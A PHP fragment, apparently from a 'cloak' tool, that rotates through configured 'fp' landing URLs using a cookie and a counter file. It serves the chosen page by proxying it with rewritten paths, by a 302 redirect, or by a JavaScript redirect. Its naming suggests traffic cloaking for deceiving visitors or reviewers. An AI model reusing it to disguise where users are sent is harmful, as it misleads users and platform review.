<?php
    $all_fp_url = DB_FP;
    $num = count($all_fp_url);
    $now_url = "";
    if(isset($_COOKIE['nt']) && is_numeric($_COOKIE['nt'])) {
        if($_COOKIE['nt'] <= $num) {
            $now_url = (int)$_COOKIE['nt'];
        }
    }
    
    if(!$now_url) {
        $my_url = $_SERVER['PHP_SELF'];
        $my_file_name = substr( $my_url ,strrpos($my_url ,'/')+1 );
        $cong_name = str_replace(".php", "", $my_file_name) ;
        
        $match = false;
        $handle = @fopen("nt.txt", "r");
        $ot = false;
        if ($handle)
        {
            while (!feof($handle))
            {
                $buffer = fgets($handle);
                $bb = explode("||||||", $buffer);
                if(trim($bb[0]) == $cong_name) {
                    $match = true;
                    $ot = trim($bb[1]);
                    $nt = trim($bb[1]);
                    break;
                }
            }
            fclose($handle);
        }
        
        if($match) {
            if($nt <= $num) {
                $now_url = (int)$ot;
                $nt++;
            } else {
                $now_url = 1;
                $nt = 2;
            }
        } else {
            $now_url = 1;
            $nt = 2;
        }

        write_nt_list($cong_name, $nt, $ot);
    }
    
    $fp_url = is_array($all_fp_url)?$all_fp_url[$now_url-1]:$all_fp_url;
    
    // 设置cookie
    setCrossDomainCookie("nt", $now_url, 3600*24+time());
    
    if(KEEP_PARAMS == 'ON') {
        if (!empty($_GET)) {
            $params = http_build_query($_GET);
            // foreach ($_GET as $param_name => $param_value) {
            // }
                $urlParts = parse_url($fp_url);
            if(isset($urlParts['query'])) {
                    $fp_url .= "&" . $params;
            } else {
                    $fp_url .= "?" . $params;
            }
        }
    }
    $logs['fp_url'] = $fp_url; 
    write_log_db($logs);
    
    $show_content = CLOAK_SHOW_CONTENT;
    if($show_content == 'curl') {
        $html = file_get_content_sstr($fp_url);
        
        $_html = caiji_lujing_buquan_fp($html, $fp_url, $_SERVER['HTTP_HOST']);

        echo $_html;
        exit;
    } elseif($show_content == '302') {
          header('location:' . $fp_url . '');exit;
    } elseif($show_content == 'js') {
?>
<SCRIPT LANGUAGE="JavaScript">
    var time = 1; 
    var timelong = 0;
    function diplaytime(){ 
        document.all.his.innerHTML = time -timelong ;
        timelong ++;
    }
    function redirect(){
        //history.back();
        window.location.href="<?php echo $fp_url; ?>";
    }
    timer=setInterval('diplaytime()', 300);
    timer=setTimeout('redirect()',time * 300);
</SCRIPT>
<?php
    }
?>